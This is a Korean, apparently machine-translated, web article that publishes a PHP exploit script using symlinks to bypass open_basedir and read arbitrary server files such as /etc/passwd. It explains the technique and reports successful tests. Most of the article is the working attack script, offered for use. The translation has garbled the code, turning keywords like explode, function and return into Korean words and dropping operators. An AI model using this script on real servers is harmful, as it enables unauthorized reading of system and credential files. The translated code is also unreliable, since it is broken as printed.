>  기사  >  백엔드 개발  >  PHP5 정식 버전은 open_basedir 파일 읽기 스크립트 취약점을 우회합니다. 자세한 Introduction_php 기술

PHP5 정식 버전은 open_basedir 파일 읽기 스크립트 취약점을 우회합니다. 자세한 Introduction_php 기술

WBOY
WBOY원래의
2016-05-16 20:25:291130검색

해당 취약점은 아주 오래전(약 5년 전)에 제기되었으나 PHP 코드에서는 문제가 아니어서 지금까지 문제가 존재해 왔습니다. 저는 전혀 신경쓰지 않았는데 나중에 야셍이 테스트해봤는데 5.5가 괜찮은 것 같다고 하더군요.

취약점 세부정보는 http://cxsecurity.com/issue/WLB-2009110068에 나와 있습니다.

내가 쓴 EXP를 주세요:

코드 복사 코드는 다음과 같습니다.

/*
* 작성자: phithon
* http://www.jb51.net
에서 * 상세정보 : http://cxsecurity.com/issue/WLB-2009110068
*/
header('콘텐츠 유형: 텍스트/일반');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %snphp_version: %sn", ini_get('open_basedir'), phpversion());
printf("disable_functions: %sn", ini_get('disable_functions'));
$file = str_replace('\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = 폭발('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i ){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = 폭발('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i ) {
  mkdir($name);
  chdir($name);
  $j ;
}
for ($i = 0; $i <= $j; $i ) {
  chdir('..');
}
$tmp = array_fill(0, $j 1, $name);
Symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
Symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
연결 해제('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "n------내용---------------nn";
echo file_get_contents($exp);
delfile('tmplink');

함수 getRelativePath($from, $to) {
  // Windows 경로에 대한 일부 호환성 수정
  $from = rtrim($from, '/') . '/';
  $from = str_replace('\', '/', $from);
  $to   = str_replace('\', '/', $to);

  $from   = 폭발('/', $from);
  $to     = 폭발('/', $to);
  $relPath  = $to;

  foreach($from을 $length => $dir) {
    // 일치하지 않는 첫 번째 디렉토리를 찾습니다
    if($dir === $to[$깊이]) {
      // 이 디렉토리를 무시합니다
      array_shift($relPath);
    } 그 밖의 {
      // $from
에 남은 디렉토리 수를 가져옵니다.       $나머지 = 개수($from) - $깊이;
      if($나머지 > 1) {
        // 첫 번째로 일치하는 dir까지 순회를 추가합니다
        $padLength = (count($relPath) $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        휴식;
      } 그 밖의 {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

delfile 함수($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    @rmdir($deldir) 반환 ? 참 : 거짓;
  }
}

함수 File_Str($string)
{
  return str_replace('//','/',str_replace('\','/',$string));
}

함수 getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i ) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  $randStr;
반환 }

/etc/passwd를 읽고 싶다고 가정해 보겠습니다. 실제로 원칙은 링크 파일 x를 만들고, 상대 경로를 사용하여 a/a/a/a를 가리키고, 그런 다음 x/../../../etc를 가리키는 링크 파일 exp를 만드는 것입니다. /passwd.

실제로는 a/a/a/a/../../../etc/passwd를 가리키며 실제로는 ./etc/passwd입니다.

이때, x를 삭제하고 다른 x 디렉터리를 생성하지만 exp는 여전히 x/../../../etc/passwd를 가리키고 있으므로 /etc/passwd로 성공적으로 교차합니다.

핵심은 다음 네 문장입니다.

코드 복사 코드는 다음과 같습니다.

Symlink("abc/abc/abc/abc","tmplink")
Symlink("tmplink/../../../etc/passwd", "exploit")
unlink("tmplink")
mkdir("tmplink");

http://xxx/exp에 액세스합니다. 서버가 링크된 파일에 대한 액세스를 지원하면 /etc/passwd를 읽을 수 있습니다.

open_basedir을 트리거하는 작업은 없지만 결과는 open_basedir을 우회하고 임의 파일을 읽는 것입니다.

이 오류는 PHP에 없지만 오류의 원인이 누구에게 있는지 모르기 때문에 PHP에서는 이 문제를 처리한 적이 없습니다.

open_basedir

PHP가 파일 자체를 포함하여 지정된 디렉터리 트리로 열 수 있는 파일을 제한합니다. 이 명령은 안전 모드를 켜거나 끄더라도 영향을 받지 않습니다.

예를 들어 fopen() 또는 gzopen()을 사용하여 스크립트가 파일을 열려고 시도하면 파일 위치가 확인됩니다. PHP는 지정된 디렉토리 트리 외부에 있는 파일 열기를 거부합니다. 모든 기호 링크가 해결되므로 기호 링크를 통해 이 제한을 우회하는 것은 불가능합니다.

특수값 .스크립트의 작업 디렉터리가 기본 디렉터리로 사용되도록 지정합니다. 그러나 이것은 다소 위험합니다. 스크립트의 작업 디렉토리가 chdir()에 의해 쉽게 변경될 수 있기 때문입니다.

httpd.conf 파일에서 "php_admin_value open_basedir none" 메소드를 사용하여 다른 구성 옵션처럼 open_basedir을 끌 수 있습니다(예: 일부 가상 호스트에서).

Windows에서는 디렉터리를 세미콜론으로 구분합니다. 다른 시스템의 디렉토리를 구분하려면 콜론을 사용하십시오. Apache 모듈로서 상위 디렉터리의 open_basedir 경로는 자동으로 상속됩니다.

open_basedir에 지정된 제한 사항은 실제로 디렉터리 이름이 아니라 접두사입니다. 이는 "open_basedir = /dir/incl"이 "/dir/include" 및 "/dir/incls"가 존재하는 경우 이에 대한 액세스도 허용함을 의미합니다. 지정된 디렉토리에만 액세스를 제한하려면 경로 이름을 슬래시로 끝내십시오. 예: "open_basedir = /dir/incl/".

참고:

3.0.7에서는 여러 디렉터리에 대한 지원이 추가되었습니다.

기본값은 모든 파일을 열 수 있도록 허용하는 것입니다.

VPS(php5.3.28 nginx)와 Raspberry Pi(php 5.4.4 nginx)에서 모두 테스트했고 성공적으로 읽었습니다.

라즈베리 파이 테스트:

5.3 XML의 구멍(많은 파일을 읽을 수 없다는 점)과 비교하면 이 성공률은 상대적으로 안정적이며 많은 파일을 읽을 수 있습니다. 그리고 버전 요구사항도 없어 피해가 상대적으로 크다.

며칠 전 CTF에 편지를 써서 이 스크립트를 시도해 보았는데, Apache도 읽을 수 있습니다. 당시 kali 머신의 /etc/httpd/conf/httpd.conf를 읽어보니 아무 것도 없었습니다.

사이드 스테이션이 없고 게이트웨이를 통해 트래픽이 전달되는 것으로 확인되었습니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.